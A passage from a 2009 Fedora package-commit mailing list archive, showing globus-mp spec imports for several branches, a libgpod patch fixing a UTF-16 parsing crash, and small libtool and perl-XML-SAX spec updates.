rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 2.1-1
- Autogenerated


--- NEW FILE import.log ---
globus-mp-2_1-1_fc11:F-12:globus-mp-2.1-1.fc11.src.rpm:1255953589


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-mp/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:44:09 -0000	1.1
+++ .cvsignore	19 Oct 2009 12:00:09 -0000	1.2
@@ -0,0 +1 @@
+globus_mp-2.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-mp/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:44:09 -0000	1.1
+++ sources	19 Oct 2009 12:00:09 -0000	1.2
@@ -0,0 +1 @@
+31baf369544156d8cbf1bf385d3498fe  globus_mp-2.1.tar.gz



From ellert at fedoraproject.org  Mon Oct 19 12:01:06 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 12:01:06 +0000 (UTC)
Subject: rpms/globus-mp/F-11 globus-mp.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019120106.CD86211C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-mp/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4330/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	globus-mp.spec import.log 
Log Message:
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 2.1-1
- Autogenerated



--- NEW FILE globus-mp.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-mp
%global _name %(tr - _ <<< %{name})
Version:	2.1
Release:	1%{?dist}
Summary:	Globus Toolkit - Message Passing Library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/mp/source globus_mp-2.1
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_mp-2.1
#		tar -zcf globus_mp-2.1.tar.gz globus_mp-2.1
Source:		%{_name}-%{version}.tar.gz
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	globus-core%{?_isa} >= 4

%package devel
Summary:	Globus Toolkit - Message Passing Library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 3
Requires:	globus-core%{?_isa} >= 4

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Message Passing Library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Message Passing Library Development Files

%prep
%setup -q -n %{_name}-%{version}

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 2.1-1
- Autogenerated


--- NEW FILE import.log ---
globus-mp-2_1-1_fc11:F-11:globus-mp-2.1-1.fc11.src.rpm:1255953644


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-mp/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:44:09 -0000	1.1
+++ .cvsignore	19 Oct 2009 12:01:06 -0000	1.2
@@ -0,0 +1 @@
+globus_mp-2.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-mp/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:44:09 -0000	1.1
+++ sources	19 Oct 2009 12:01:06 -0000	1.2
@@ -0,0 +1 @@
+31baf369544156d8cbf1bf385d3498fe  globus_mp-2.1.tar.gz



From ellert at fedoraproject.org  Mon Oct 19 12:03:11 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 12:03:11 +0000 (UTC)
Subject: rpms/globus-mp/EL-5 globus-mp.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019120311.E1B4E11C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-mp/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5470/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	globus-mp.spec import.log 
Log Message:
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 2.1-1
- Autogenerated



--- NEW FILE globus-mp.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-mp
%global _name %(tr - _ <<< %{name})
Version:	2.1
Release:	1%{?dist}
Summary:	Globus Toolkit - Message Passing Library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/mp/source globus_mp-2.1
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_mp-2.1
#		tar -zcf globus_mp-2.1.tar.gz globus_mp-2.1
Source:		%{_name}-%{version}.tar.gz
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	globus-core%{?_isa} >= 4

%package devel
Summary:	Globus Toolkit - Message Passing Library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 3
Requires:	globus-core%{?_isa} >= 4

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Message Passing Library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Message Passing Library Development Files

%prep
%setup -q -n %{_name}-%{version}

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 2.1-1
- Autogenerated


--- NEW FILE import.log ---
globus-mp-2_1-1_fc11:EL-5:globus-mp-2.1-1.fc11.src.rpm:1255953706


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-mp/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:44:09 -0000	1.1
+++ .cvsignore	19 Oct 2009 12:03:11 -0000	1.2
@@ -0,0 +1 @@
+globus_mp-2.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-mp/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:44:09 -0000	1.1
+++ sources	19 Oct 2009 12:03:11 -0000	1.2
@@ -0,0 +1 @@
+31baf369544156d8cbf1bf385d3498fe  globus_mp-2.1.tar.gz



From ellert at fedoraproject.org  Mon Oct 19 12:03:59 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 12:03:59 +0000 (UTC)
Subject: rpms/globus-mp/EL-4 globus-mp.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019120359.CC1BA11C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-mp/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5806/EL-4

Modified Files:
	.cvsignore sources 
Added Files:
	globus-mp.spec import.log 
Log Message:
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 2.1-1
- Autogenerated



--- NEW FILE globus-mp.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-mp
%global _name %(tr - _ <<< %{name})
Version:	2.1
Release:	1%{?dist}
Summary:	Globus Toolkit - Message Passing Library

Group:		System Environment/Libraries
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/mp/source globus_mp-2.1
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_mp-2.1
#		tar -zcf globus_mp-2.1.tar.gz globus_mp-2.1
Source:		%{_name}-%{version}.tar.gz
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Requires:	globus-common
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-common-devel%{?_isa} >= 3
BuildRequires:	globus-core%{?_isa} >= 4

%package devel
Summary:	Globus Toolkit - Message Passing Library Development Files
Group:		Development/Libraries
Requires:	%{name}%{?_isa} = %{version}-%{release}
Requires:	globus-common-devel%{?_isa} >= 3
Requires:	globus-core%{?_isa} >= 4

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Message Passing Library

%description devel
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name}-devel package contains:
Message Passing Library Development Files

%prep
%setup -q -n %{_name}-%{version}

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

# Remove flavor tags
for f in `find . -name Makefile.am` ; do
  sed -e 's!^flavorinclude_HEADERS!include_HEADERS!' \
      -e 's!\(lib[a-zA-Z_]*\)_$(GLOBUS_FLAVOR_NAME)\.la!\1.la!g' \
      -e 's!^\(lib[a-zA-Z_]*\)___GLOBUS_FLAVOR_NAME__la_!\1_la_!' -i $f
done
sed -e "s!<With_Flavors!<With_Flavors ColocateLibraries=\"no\"!" \
  -i pkgdata/pkg_data_src.gpt.in

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Remove libtool archives (.la files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.la' -exec rm -v '{}' \;
sed '/lib.*\.la$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist

# Remove static libraries (.a files)
find $RPM_BUILD_ROOT%{_libdir} -name 'lib*.a' -exec rm -v '{}' \;
sed '/lib.*\.a$/d' -i $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist

# Generate pkg-config file from GPT metadata
mkdir -p $RPM_BUILD_ROOT%{_libdir}/pkgconfig
%{_datadir}/globus/globus-gpt2pkg-config pkgdata/pkg_data_%{flavor}_dev.gpt > \
  $RPM_BUILD_ROOT%{_libdir}/pkgconfig/%{name}.pc

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_rtl.filelist \
  | sed s!^!%{_prefix}! > package.filelist
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_dev.filelist \
  | sed s!^!%{_prefix}! > package-devel.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%post -p /sbin/ldconfig

%postun -p /sbin/ldconfig

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE

%files -f package-devel.filelist devel
%defattr(-,root,root,-)
%{_libdir}/pkgconfig/%{name}.pc

%changelog
* Thu Jul 30 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 2.1-1
- Autogenerated


--- NEW FILE import.log ---
globus-mp-2_1-1_fc11:EL-4:globus-mp-2.1-1.fc11.src.rpm:1255953821


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-mp/EL-4/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:44:09 -0000	1.1
+++ .cvsignore	19 Oct 2009 12:03:59 -0000	1.2
@@ -0,0 +1 @@
+globus_mp-2.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-mp/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:44:09 -0000	1.1
+++ sources	19 Oct 2009 12:03:59 -0000	1.2
@@ -0,0 +1 @@
+31baf369544156d8cbf1bf385d3498fe  globus_mp-2.1.tar.gz



From hadess at fedoraproject.org  Mon Oct 19 12:09:03 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon, 19 Oct 2009 12:09:03 +0000 (UTC)
Subject: rpms/libgpod/F-11 libgpod-utf16-parsing.patch, NONE,
	1.1 libgpod.spec, 1.23, 1.24
Message-ID: <20091019120903.344B011C00DC@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/libgpod/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6801

Modified Files:
	libgpod.spec 
Added Files:
	libgpod-utf16-parsing.patch 
Log Message:
* Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.7.0-3
- Fix crasher when parsing UTF-16 strings with a BOM (#517642)


libgpod-utf16-parsing.patch:
 itdb_itunesdb.c |   72 ++++++++++++++++++++++++++++++++------------------------
 1 file changed, 42 insertions(+), 30 deletions(-)

--- NEW FILE libgpod-utf16-parsing.patch ---
diff --git a/src/itdb_itunesdb.c b/src/itdb_itunesdb.c
index c41e758..3f352e1 100644
--- a/src/itdb_itunesdb.c
+++ b/src/itdb_itunesdb.c
@@ -1286,6 +1286,45 @@ static gint32 get_mhod_type (FContents *cts, glong seek, guint32 *ml)
     return type;
 }
 
+static char *extract_mhod_string (FContents *cts, glong seek)
+{
+    gunichar2 *entry_utf16;
+    char *entry_utf8;
+    gint string_type;
+    gsize len;
+
+    /* type of string: 0x02: UTF8, 0x01 or 0x00: UTF16 LE */
+    string_type = get32lint (cts, seek);
+    len = get32lint (cts, seek+4);   /* length of string */
+    g_return_val_if_fail (len < G_MAXUINT - 2, NULL);
+    if (string_type != 0x02) {
+	/* UTF-16 string */
+	entry_utf16 = g_new0 (gunichar2, (len+2)/2);
+	if (seek_get_n_bytes (cts, (gchar *)entry_utf16, seek+16, len)) {
+	    fixup_little_utf16 (entry_utf16);
+	    entry_utf8= g_utf16_to_utf8 (entry_utf16, -1, NULL, NULL, NULL);
+	    g_free (entry_utf16);
+	} else { 
+	    g_free (entry_utf16);
+	    return NULL;
+	}
+    } else {
+	/* UTF-8 string */
+	entry_utf8 = g_new0 (gchar, len+1);
+	if (!seek_get_n_bytes (cts, entry_utf8, seek+16, len)) {
+	    g_free (entry_utf8);
+	    return NULL;
+	}
+    }
+
+    if (g_utf8_validate (entry_utf8, -1, NULL)) {
+	return entry_utf8;
+    } else {
+	g_free (entry_utf8);
+	return NULL;
+    }
+}
+
 /* Returns the contents of the mhod at position @mhod_seek. This can
    be a simple string or something more complicated as in the case for
    Itdb_SPLPREF OR Itdb_SPLRULES.
@@ -1303,12 +1342,10 @@ static gint32 get_mhod_type (FContents *cts, glong seek, guint32 *ml)
 
 static MHODData get_mhod (FImport *fimp, glong mhod_seek, guint32 *ml)
 {
-  gunichar2 *entry_utf16 = NULL;
   MHODData result;
   gint32 xl;
   guint32 mhod_len;
   gint32 header_length;
-  guint32 string_type;
   gulong seek;
   FContents *cts;
   
@@ -1384,34 +1421,9 @@ static MHODData get_mhod (FImport *fimp, glong mhod_seek, guint32 *ml)
   case MHOD_ID_SORT_ALBUMARTIST:
   case MHOD_ID_SORT_COMPOSER:
   case MHOD_ID_SORT_TVSHOW:
-      /* type of string: 0x02: UTF8, 0x01 or 0x00: UTF16 LE */
-      string_type = get32lint (cts, seek);
-      xl = get32lint (cts, seek+4);   /* length of string */
-      g_return_val_if_fail (xl < G_MAXUINT - 2, result);
-      if (string_type != 0x02)
-      {
-	  entry_utf16 = g_new0 (gunichar2, (xl+2)/2);
-	  if (seek_get_n_bytes (cts, (gchar *)entry_utf16, seek+16, xl))
-	  {
-	      fixup_little_utf16 (entry_utf16);
-	      result.data.string = g_utf16_to_utf8 (entry_utf16, -1,
-						    NULL, NULL, NULL);
-	      g_free (entry_utf16);
-	  }
-	  else
-	  {   /* error */
-	      g_free (entry_utf16);
-	      return result;  /* *ml==-1, result.valid==FALSE */
-	  }
-      }
-      else
-      {
-	  result.data.string = g_new0 (gchar, xl+1);
-	  if (!seek_get_n_bytes (cts, result.data.string, seek+16, xl))
-	  {   /* error */
-	      g_free (entry_utf16);
-	      return result;  /* *ml==-1, result.valid==FALSE */
-	  }
+      result.data.string = extract_mhod_string (cts, seek);
+      if (result.data.string == NULL) {
+	  return result;
       }
       break;
   case MHOD_ID_PODCASTURL:


Index: libgpod.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libgpod/F-11/libgpod.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- libgpod.spec	25 Feb 2009 15:26:44 -0000	1.23
+++ libgpod.spec	19 Oct 2009 12:09:02 -0000	1.24
@@ -3,13 +3,16 @@
 Summary: Library to access the contents of an iPod
 Name: libgpod
 Version: 0.7.0
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://www.gtkpod.org/libgpod.html
 Source0: http://downloads.sourceforge.net/gtkpod/%{name}-%{version}.tar.gz
 # See http://www.redhat.com/archives/fedora-selinux-list/2009-January/msg00005.html
 Patch0: 0001-Use-var-run-hald-as-mount-dir-for-hal-callout.patch
+# http://gitorious.org/~teuf/libgpod/teuf-sandbox/commit/3847494a513b5ef04d7abbe55c3d95dbcd836ef6
+# https://bugzilla.redhat.com/show_bug.cgi?id=517642
+Patch1: libgpod-utf16-parsing.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 BuildRequires: docbook-style-xsl
 BuildRequires: glib2-devel
@@ -75,6 +78,7 @@ libgpod library.
 %prep
 %setup -q
 %patch0 -p1 -b .selinux
+%patch1 -p1 -b .utf16
 
 # remove execute perms on the python examples as they'll be installed in %doc
 %{__chmod} -x bindings/python/examples/*.py
@@ -134,6 +138,9 @@ libgpod library.
 
 
 %changelog
+* Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.7.0-3
+- Fix crasher when parsing UTF-16 strings with a BOM (#517642)
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.7.0-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 



From jakub at fedoraproject.org  Mon Oct 19 12:11:09 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Mon, 19 Oct 2009 12:11:09 +0000 (UTC)
Subject: rpms/libtool/F-12 libtool.spec,1.78,1.79
Message-ID: <20091019121109.4D4C311C00DC@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/libtool/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7278

Modified Files:
	libtool.spec 
Log Message:
2.2.6-15


Index: libtool.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libtool/F-12/libtool.spec,v
retrieving revision 1.78
retrieving revision 1.79
diff -u -p -r1.78 -r1.79
--- libtool.spec	12 Aug 2009 17:25:09 -0000	1.78
+++ libtool.spec	19 Oct 2009 12:11:09 -0000	1.79
@@ -1,9 +1,9 @@
-%define gcc_version 4.4.1
+%define gcc_version 4.4.2
 
 Summary: The GNU Portable Library Tool
 Name:    libtool
 Version: 2.2.6
-Release: 14%{?dist}
+Release: 15%{?dist}
 License: GPLv2+ and LGPLv2+ and GFDL
 Group:   Development/Tools
 Source:  http://ftp.gnu.org/gnu/libtool/libtool-%{version}a.tar.lzma
@@ -142,6 +142,9 @@ fi
 
 
 %changelog
+* Mon Oct 19 2009 Jakub Jelinek <jakub at redhat.com> 2.2.6-15
+- Rebuild for gcc 4.4.2
+
 * Wed Aug 12 2009 Ville Skytt? <ville.skytta at iki.fi> - 2.2.6-14
 - Use lzma compressed upstream tarball.
 



From kasal at fedoraproject.org  Mon Oct 19 12:12:56 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Mon, 19 Oct 2009 12:12:56 +0000 (UTC)
Subject: rpms/perl-XML-SAX/devel perl-XML-SAX.spec,1.23,1.24
Message-ID: <20091019121256.7C28911C00DC@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-XML-SAX/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8117

Modified Files:
	perl-XML-SAX.spec 
Log Message:
- use the filtering macros


Index: perl-XML-SAX.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-XML-SAX/devel/perl-XML-SAX.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- perl-XML-SAX.spec	26 Jul 2009 17:37:34 -0000	1.23
+++ perl-XML-SAX.spec	19 Oct 2009 12:12:55 -0000	1.24
@@ -1,7 +1,7 @@
 Summary:        XML-SAX Perl module
 Name:           perl-XML-SAX
 Version:        0.96
-Release:        4%{?dist}
+Release:        5%{?dist}
 
 Group:          Development/Libraries
 License:        GPL+ or Artistic
@@ -18,6 +18,12 @@ BuildRequires:  perl(XML::LibXML) perl(X
 Requires:       perl(:MODULE_COMPAT_%(perl -MConfig -e 'print $Config{version}'))
 Requires:       perl(XML::LibXML) perl(XML::LibXML::Common)
 
+%{?filter_setup:
+%filter_from_requires /perl(XML::SAX::PurePerl::\(DTDDecls\|DocType\|EncodingDetect\|XMLDecl\))/d
+%filter_from_provides /perl(XML::SAX::PurePerl)/d
+%?perl_default_filter
+}
+
 
 %description
 XML::SAX consists of several framework classes for using and building
@@ -31,33 +37,6 @@ JAXP specification (SAX part), only with
 %prep
 %setup -q -n XML-SAX-%{version}
 
-# Filter unwanted Requires: perl-XML-SAX has some poorly-structured
-#                           packages that confuse RPM.
-cat << \EOF > %{name}-req
-#!/bin/sh
-%{__perl_requires} $* |\
